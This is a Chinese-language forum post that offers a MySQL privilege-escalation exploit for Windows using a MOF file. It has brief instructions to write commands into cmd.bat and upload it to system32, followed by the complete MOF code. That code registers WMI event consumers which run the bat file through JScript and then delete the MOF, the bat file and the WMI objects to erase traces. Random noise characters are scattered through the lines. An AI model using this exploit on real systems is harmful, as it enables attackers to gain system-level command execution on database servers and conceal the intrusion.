Mysql 提权即时无错Mof exp

admin

这个sql提权MOF需要运行 system下的文件，不能定义路径。
3 J% x2 R, {& l8 @" f, ?" g需要将要运行的命令写入到bat上传到system32目录，然后执行。
  S- p" _8 b! K! M# f
$ B. u7 {7 e' w6 c6 I0 d" x这个sql提权MOF需要运行 system下的文件，不能定义路径。
5 |2 j2 u- v4 D+ |' l需要将要运行的命令写入到bat上传到system32目录，然后执行。

/ h4 }" `% T6 E7 a. P1 n/ E1 I. y#pragma
% ?6 d/ Y9 V5 ^                        namespace("\\\\.\\root\\cimv2")
) E; C5 B8 W5 z                        class
9 X  w+ Y; E( s1 d                        MyClass547
                        {           [key]
                        string
* c( ]# P1 g" z" b$ E' P; Q                        Name;
# ]2 q+ O4 x5 B5 j                        };
, n5 ^( K  ?8 w* H" c+ j                        class
) M- C' E* B2 v! L: ?# x) x                        ActiveScriptEventConsumer
                        : __EventConsumer {          [key]
                        string
6 X6 {7 K; b, Q; O! S0 V                        Name;           [not_null]
5 V! X/ B5 D$ P. T3 F& g                        string
) q# [1 _; M( o+ m0 O8 P7 _- c                        ScriptingEngine;           string
; c8 n8 s6 E2 ]% P% E; b8 S7 s                        ScriptFileName;           [template]
, ?! h. H) t2 R# T                        string
                        ScriptText;         uint32 KillTimeout;
2 k3 w; \: S6 X, S8 g& r) R                        }; instance of __Win32Provider as $P {
6 x( I0 d2 {- Q1 ?* J                        Name
                        =
: s* Y7 J  L+ @4 ^; C                        "ActiveScriptEventConsumer";     CLSID =
                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
                        PerUserInitialization
                        = TRUE;
/ }, A" o! g; i' j                        }; instance of __EventConsumerProviderRegistration {         Provider
+ i1 D( j5 ?' R- `9 i                        = $P;         ConsumerClassNames
% z2 v* ]7 W6 w0 y3 V8 M                        =
                        {"ActiveScriptEventConsumer"};
                        };
: ^0 ], M8 {0 W( X& P$ E, g5 ?' j                        Instance of ActiveScriptEventConsumer
3 u  L) ~1 o1 {; |! j4 K' u, C                        as $cons {         Name
                        =
' [2 N# B0 ?! V/ Z$ E                        "ASEC";         ScriptingEngine
                        =
                        "JScript";         ScriptText
                        =
5 [: A& K% {2 M8 y* V# W9 S                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };
& Y, a/ `0 F4 q                        Instance of ActiveScriptEventConsumer
                        as $cons2 {         Name
6 j2 g* N4 U+ [1 C5 S7 D- \                        =
                        "qndASEC";         ScriptingEngine
                        =
$ [, P3 v- t0 J; a* V. I                        "JScript";         ScriptText
                        =
1 N) x6 \1 ?* D' Z) [                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
                        }; instance of __EventFilter as $Filt {         Name
                        =
- X3 j/ T2 z7 v0 I9 ]+ W2 b, j, |: m                        "instfilt";         Query
                        =
                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
                        =
                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name
                        =
                        "qndfilt";         Query
                        =
                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage
7 C3 T; P4 H2 U                        =
                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer
                        = $cons;         Filter
" H% S; N2 M  _; X8 `" ^- M; Q" Y' I                        = $Filt;
                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
4 u2 y$ C8 _* Z4 V/ @                        = $cons2;         Filter
                        = $Filt2;
0 N# \# R( O" L5 C6 |                        }; instance of MyClass547
                        as $MyClass {         Name
                        =
& I+ i4 ~3 O4 d) w' R                        "ClassConsumer";
1 l3 W* Y, l, m8 @                        };